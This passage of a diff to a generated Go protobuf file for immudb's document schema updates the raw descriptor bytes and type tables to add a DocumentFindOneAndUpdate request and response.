0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, + 0xa3, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, + 0x65, 0x61, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x2a, 0x13, 0x2f, - 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, - 0x74, 0x65, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x73, 0x12, 0xa3, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, + 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, + 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x94, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, - 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x75, - 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa9, 0x01, 0x0a, 0x12, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x12, - 0x30, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x31, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x1a, 0x15, 0x2f, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, - 0x61, 0x6e, 0x79, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x42, 0xbe, 0x01, 0x5a, 0x33, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, - 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0x85, 0x01, - 0x12, 0x29, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, - 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x13, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x73, 0x20, - 0x73, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, - 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x41, 0x0a, 0x3f, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, - 0x12, 0x35, 0x08, 0x02, 0x12, 0x16, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, - 0x6b, 0x65, 0x6e, 0x3a, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x17, 0x67, 0x72, - 0x70, 0x63, 0x2d, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x2d, 0x73, 0x65, 0x73, 0x73, - 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, - 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, 0x0a, + 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x9b, 0x01, 0x0a, + 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, + 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa0, 0x01, 0x0a, 0x10, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, + 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x92, 0x41, 0x0d, + 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa3, 0x01, + 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, + 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, + 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x73, 0x12, 0xa9, 0x01, 0x0a, 0x12, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x12, 0x30, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, + 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x31, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, + 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x1a, 0x15, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x3a, 0x01, + 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, + 0xc1, 0x01, 0x0a, 0x18, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x46, 0x69, 0x6e, 0x64, + 0x4f, 0x6e, 0x65, 0x41, 0x6e, 0x64, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x36, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x46, 0x69, 0x6e, + 0x64, 0x4f, 0x6e, 0x65, 0x41, 0x6e, 0x64, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x37, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x46, 0x69, 0x6e, 0x64, 0x4f, 0x6e, 0x65, 0x41, 0x6e, 0x64, 0x55, + 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x34, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x20, 0x22, 0x1b, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x2f, 0x66, 0x69, 0x6e, 0x64, 0x4f, 0x6e, 0x65, 0x41, 0x6e, 0x64, 0x55, 0x70, 0x64, 0x61, + 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x42, 0xbe, 0x01, 0x5a, 0x33, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, + 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0x85, 0x01, 0x12, + 0x29, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, + 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x13, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x73, 0x20, 0x73, + 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, + 0x2f, 0x76, 0x32, 0x5a, 0x41, 0x0a, 0x3f, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, + 0x35, 0x08, 0x02, 0x12, 0x16, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, + 0x65, 0x6e, 0x3a, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x17, 0x67, 0x72, 0x70, + 0x63, 0x2d, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x2d, 0x73, 0x65, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, + 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -2049,95 +2197,101 @@ func file_documentschema_proto_rawDescGZIP() []byte { } var file_documentschema_proto_enumTypes = make([]protoimpl.EnumInfo, 2) -var file_documentschema_proto_msgTypes = make([]protoimpl.MessageInfo, 30) +var file_documentschema_proto_msgTypes = make([]protoimpl.MessageInfo, 32) var file_documentschema_proto_goTypes = []interface{}{ - (QueryOperator)(0), // 0: immudb.documentschema.QueryOperator - (IndexType)(0), // 1: immudb.documentschema.IndexType - (*DocumentInsertRequest)(nil), // 2: immudb.documentschema.DocumentInsertRequest - (*DocumentInsertResponse)(nil), // 3: immudb.documentschema.DocumentInsertResponse - (*DocumentUpdateRequest)(nil), // 4: immudb.documentschema.DocumentUpdateRequest - (*DocumentUpdateResponse)(nil), // 5: immudb.documentschema.DocumentUpdateResponse - (*IndexValue)(nil), // 6: immudb.documentschema.IndexValue - (*DocumentQuery)(nil), // 7: immudb.documentschema.DocumentQuery - (*DocumentSearchRequest)(nil), // 8: immudb.documentschema.DocumentSearchRequest - (*DocumentSearchResponse)(nil), // 9: immudb.documentschema.DocumentSearchResponse - (*DocumentProofRequest)(nil), // 10: immudb.documentschema.DocumentProofRequest - (*DocumentProofResponse)(nil), // 11: immudb.documentschema.DocumentProofResponse - (*DocumentAuditRequest)(nil), // 12: immudb.documentschema.DocumentAuditRequest - (*DocumentAuditResponse)(nil), // 13: immudb.documentschema.DocumentAuditResponse - (*DocumentAudit)(nil), // 14: immudb.documentschema.DocumentAudit - (*IndexOption)(nil), // 15: immudb.documentschema.IndexOption - (*CollectionCreateRequest)(nil), // 16: immudb.documentschema.CollectionCreateRequest - (*CollectionCreateResponse)(nil), // 17: immudb.documentschema.CollectionCreateResponse - (*CollectionInformation)(nil), // 18: immudb.documentschema.CollectionInformation - (*CollectionGetResponse)(nil), // 19: immudb.documentschema.CollectionGetResponse - (*CollectionGetRequest)(nil), // 20: immudb.documentschema.CollectionGetRequest - (*CollectionListRequest)(nil), // 21: immudb.documentschema.CollectionListRequest - (*CollectionListResponse)(nil), // 22: immudb.documentschema.CollectionListResponse - (*CollectionDeleteRequest)(nil), // 23: immudb.documentschema.CollectionDeleteRequest - (*CollectionDeleteResponse)(nil), // 24: immudb.documentschema.CollectionDeleteResponse - (*CollectionUpdateRequest)(nil), // 25: immudb.documentschema.CollectionUpdateRequest - (*CollectionUpdateResponse)(nil), // 26: immudb.documentschema.CollectionUpdateResponse - (*DocumentInsertManyRequest)(nil), // 27: immudb.documentschema.DocumentInsertManyRequest - (*DocumentInsertManyResponse)(nil), // 28: immudb.documentschema.DocumentInsertManyResponse - nil, // 29: immudb.documentschema.CollectionCreateRequest.IndexKeysEntry - nil, // 30: immudb.documentschema.CollectionInformation.IndexKeysEntry - nil, // 31: immudb.documentschema.CollectionUpdateRequest.AddIndexesEntry - (*structpb.Struct)(nil), // 32: google.protobuf.Struct - (structpb.NullValue)(0), // 33: google.protobuf.NullValue - (*structpb.Value)(nil), // 34: google.protobuf.Value - (*schema.VerifiableTxV2)(nil), // 35: immudb.schema.VerifiableTxV2 + (QueryOperator)(0), // 0: immudb.documentschema.QueryOperator + (IndexType)(0), // 1: immudb.documentschema.IndexType + (*DocumentInsertRequest)(nil), // 2: immudb.documentschema.DocumentInsertRequest + (*DocumentInsertResponse)(nil), // 3: immudb.documentschema.DocumentInsertResponse + (*DocumentUpdateRequest)(nil), // 4: immudb.documentschema.DocumentUpdateRequest + (*DocumentUpdateResponse)(nil), // 5: immudb.documentschema.DocumentUpdateResponse + (*IndexValue)(nil), // 6: immudb.documentschema.IndexValue + (*DocumentQuery)(nil), // 7: immudb.documentschema.DocumentQuery + (*DocumentSearchRequest)(nil), // 8: immudb.documentschema.DocumentSearchRequest + (*DocumentSearchResponse)(nil), // 9: immudb.documentschema.DocumentSearchResponse + (*DocumentProofRequest)(nil), // 10: immudb.documentschema.DocumentProofRequest + (*DocumentProofResponse)(nil), // 11: immudb.documentschema.DocumentProofResponse + (*DocumentAuditRequest)(nil), // 12: immudb.documentschema.DocumentAuditRequest + (*DocumentAuditResponse)(nil), // 13: immudb.documentschema.DocumentAuditResponse + (*DocumentAudit)(nil), // 14: immudb.documentschema.DocumentAudit + (*IndexOption)(nil), // 15: immudb.documentschema.IndexOption + (*CollectionCreateRequest)(nil), // 16: immudb.documentschema.CollectionCreateRequest + (*CollectionCreateResponse)(nil), // 17: immudb.documentschema.CollectionCreateResponse + (*CollectionInformation)(nil), // 18: immudb.documentschema.CollectionInformation + (*CollectionGetResponse)(nil), // 19: immudb.documentschema.CollectionGetResponse + (*CollectionGetRequest)(nil), // 20: immudb.documentschema.CollectionGetRequest + (*CollectionListRequest)(nil), // 21: immudb.documentschema.CollectionListRequest + (*CollectionListResponse)(nil), // 22: immudb.documentschema.CollectionListResponse + (*CollectionDeleteRequest)(nil), // 23: immudb.documentschema.CollectionDeleteRequest + (*CollectionDeleteResponse)(nil), // 24: immudb.documentschema.CollectionDeleteResponse + (*CollectionUpdateRequest)(nil), // 25: immudb.documentschema.CollectionUpdateRequest + (*CollectionUpdateResponse)(nil), // 26: immudb.documentschema.CollectionUpdateResponse + (*DocumentInsertManyRequest)(nil), // 27: immudb.documentschema.DocumentInsertManyRequest + (*DocumentInsertManyResponse)(nil), // 28: immudb.documentschema.DocumentInsertManyResponse + (*DocumentFindOneAndUpdateRequest)(nil), // 29: immudb.documentschema.DocumentFindOneAndUpdateRequest + (*DocumentFindOneAndUpdateResponse)(nil), // 30: immudb.documentschema.DocumentFindOneAndUpdateResponse + nil, // 31: immudb.documentschema.CollectionCreateRequest.IndexKeysEntry + nil, // 32: immudb.documentschema.CollectionInformation.IndexKeysEntry + nil, // 33: immudb.documentschema.CollectionUpdateRequest.AddIndexesEntry + (*structpb.Struct)(nil), // 34: google.protobuf.Struct + (structpb.NullValue)(0), // 35: google.protobuf.NullValue + (*structpb.Value)(nil), // 36: google.protobuf.Value + (*schema.VerifiableTxV2)(nil), // 37: immudb.schema.VerifiableTxV2 } var file_documentschema_proto_depIdxs = []int32{ - 32, // 0: immudb.documentschema.DocumentInsertRequest.document:type_name -> google.protobuf.Struct - 32, // 1: immudb.documentschema.DocumentUpdateRequest.document:type_name -> google.protobuf.Struct - 33, // 2: immudb.documentschema.IndexValue.null_value:type_name -> google.protobuf.NullValue + 34, // 0: immudb.documentschema.DocumentInsertRequest.document:type_name -> google.protobuf.Struct + 34, // 1: immudb.documentschema.DocumentUpdateRequest.document:type_name -> google.protobuf.Struct + 35, // 2: immudb.documentschema.IndexValue.null_value:type_name -> google.protobuf.NullValue 0, // 3: immudb.documentschema.DocumentQuery.operator:type_name -> immudb.documentschema.QueryOperator - 34, // 4: immudb.documentschema.DocumentQuery.value:type_name -> google.protobuf.Value + 36, // 4: immudb.documentschema.DocumentQuery.value:type_name -> google.protobuf.Value 7, // 5: immudb.documentschema.DocumentSearchRequest.query:type_name -> immudb.documentschema.DocumentQuery - 32, // 6: immudb.documentschema.DocumentSearchResponse.results:type_name -> google.protobuf.Struct - 35, // 7: immudb.documentschema.DocumentProofResponse.verifiableTx:type_name -> immudb.schema.VerifiableTxV2 + 34, // 6: immudb.documentschema.DocumentSearchResponse.results:type_name -> google.protobuf.Struct + 37, // 7: immudb.documentschema.DocumentProofResponse.verifiableTx:type_name -> immudb.schema.VerifiableTxV2 14, // 8: immudb.documentschema.DocumentAuditResponse.results:type_name -> immudb.documentschema.DocumentAudit 